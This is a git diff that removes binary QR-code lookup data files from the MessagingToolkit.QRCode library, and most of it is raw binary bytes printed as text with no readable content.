ےlJtAXv`f˂rXQltb~f`AHr󙐂˕H~ㅐfbAdZ|`f~rXQJ`tbdQZXQHAb|ZdQXv`fbHAZdrtAvpftlJnXv`p˂rJltH~fZHAbtlJ~HfpdQZ|vXn`JXQrrd|~HfJ`ےdQZ|vXn`ZQXb`vXndrQtHfpvےbHA|dtAے`JXQbtl~fpvp˂rJltے`JXQtArdf~HXQJ`ےbdQZ|`vXnے`JXQtArdvnXdrtAJvpfH˂pZZdQbtpvnbHAZpdrtAJvpfZۑpJvˍpfJltKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKLLLLLLL \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv39_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv39_1.dat deleted file mode 100644 index 3e9029b..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv39_1.dat +++ /dev/null @@ -1,345 +0,0 @@ -~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmlklklklklklklklkjijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQOPOPOPOOOPOPOPOPNMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565343434344343433321212121212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvutststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmlklklklklklklklkjijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQOOOOPOPOOPOPOPOPNMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:98787878787878765656565343434343334343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopoponmnmnmnmnmnmnmlklkkkkkkkkklklkjijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababa`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOOPOOOOOONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCBABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9878787878787878765656565343434343434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmklklklkllklkjijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9878787878787878765656565343434343434343421212121212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmklklklkljijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9878787878787878765656565343434343434343421212121212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmklklklkljijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9878787878787878765656565343433333434343421212121212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmklklklkljijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOOONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;:9:9:9:9:9:9:9878787878787878765656565334343433434343421212121212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmklklklkljijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcbabababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOOOOOOPOOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565434343433333334321212121212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmklklklkkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQOPOPOPOPPONMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:98787878787878787656565654343434343434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmkkkklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQOPOPOPOPNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:98787878787878787656565654343434343434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQOPOPOPOPNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:98787878787878787656565654343434343434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[ZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQOPOPOPOPNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878787878765656565654343434343433333212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmlklklklklkjijijijijijijijihghghghghghghghgfefefefefefedcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQOPOPOPOPNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565653333343443434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmlklklkkklklklklkjijijijijijijijihghghghghghghghgfefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQOPOPOOOONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565653434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmkkklklkllklklklkjijijijijijijijihghghghghghghghgfefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQOOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565653434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqpopopopoponmnmnmnmklklklkllkkkkkkljijijijijijijijihghghghghghghghgfefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565653434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{zyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqpopopopopopopoponmnmnmnmklklklklklklklkljijijijijijijijihghghghghghghghgfefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565653434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqpopopopopopopoponmnmnmnmklklklklklklklkljijijijijijijijihghghghghghgfefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQRQRQPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565653434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqpopopopopopopoponmnmnmnmklklklklklklklkljijijijijijijijihghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOOOOOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565653433333321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqpopopopopopopoponmnmnmnmklklklklklklklkljijijijijijijijihghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQOPOPOPOPPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565654343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%~}~}~}~}~}~}~}~}|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutststststststsrqrqrqrqrqpopopopopopopoponmnmnmnmkkkkkklkklklklkljijijijijijijijihghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUTSTSTSTSTSTSRQRQRQRQOPOPOPOPOOOOOPOPNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565654343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%~}~}~}~}~}~}~}|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmlklklklkklklkkkkjijijijijijijijihghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQOPOPOPOPOPOPOPOPNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABA@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565656565654343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmlklklklkkklklklkjijijijijijihghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQOPOPOPOPOPOPOPOPNMNMNMNMNMNMNMNMLKLKLKLKLKJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565654343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmlklklklklklklklkjijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQOPOPOPOPOPOPOPOPNMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878765656565433333344343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!                - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!                - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!                - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!                - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!                - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!                - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!                - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!               - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!            - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!            - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!            - - - - - - - - $#$#$#$#$#$#$#$#"!"!"!"!            - - - - - - - - $#$#$#$#"!"!"!"!"!"!"!"!             - - - - - - - - $#$#$#$#"!"!"!"!"!"!"!"!                - - - - - - - - $#$#$#$#"!"!"!"!"!"!"!"!                - - - - - - - - $#$#$#$#"!"!"!"!"!"!"!"!                - - - - - - - - $#$#$#$#"!"!"!"!"!"!"!"!                - - - - - - - - $#$#$#$#"!"!"!"!"!"!"!"!                - - - - - - - - $#$#$#$#"!"!"!"!"!"!"!"!                - - - - - - - - LLKKJJII%%&&''((eeddccbb !!""##YXXWWVVUyyzz{{||~~}} AABBCCDDXXWWVVUU - - iijjkkll00//..--11223344hhggffeeYYZZ[[\\@@??>>==!!""##$$iihhggffeddccbba ffgghhii33221100..//0011kkjjiihh - - VVWWXXYYCCBBAA@@ !!~~{{zzyyxxFFGGHHIISSRRQQPPnnooppqq~~ - -kkqqrrsszzyyxxww SSTTUUVVFFEEDDCC{{||}}~~~~}}||{{CCDDEEFFVVUUTTSS kkllmmnn..--,,++33445566ffeeddcc[[\\]]^^%%$$##""XXYYZZ[[&%%$$##"@@AABBCCYYXXWWVV - - hhiijjkk1100//..00112233iihhggff XXYYZZ[[AA@@??>> !!""##yyxxwwvvHHIIJJKK==<<;;::@@AABBCC;;::9987--..//00llkkjjii - - UUVVWWXXDDCCBBAA }}~~||{{zzyyEEFFGGHHHHGGFFEE))**++,,aa``__^^$$%%&&''UTSRQPOO }}~~||{{zzyyEEFFGGHHTTSSRRQQ mmnnoopp,,++**))55667788ddccbbaa]]^^__``<<;;::99%%&&''((eeddccbba``__^^] - - jjkkllmm//..--,,22334455ggffeeddZZ[[\\]]??>>==<<""##$$%%wwvvuuttJJKKLLMMOONNMMLLrrssttuu}}||{{zz ttuuvvwwvvuuttss - - WWXXYYZZBBAA@@?? !!""zzyyxxwwGGHHIIJJRRQQPPOOooppqqrr**))((''778899::bbaa``____``aabb!! \\]]^^__"!! DDEEFFGGUUTTSSRR 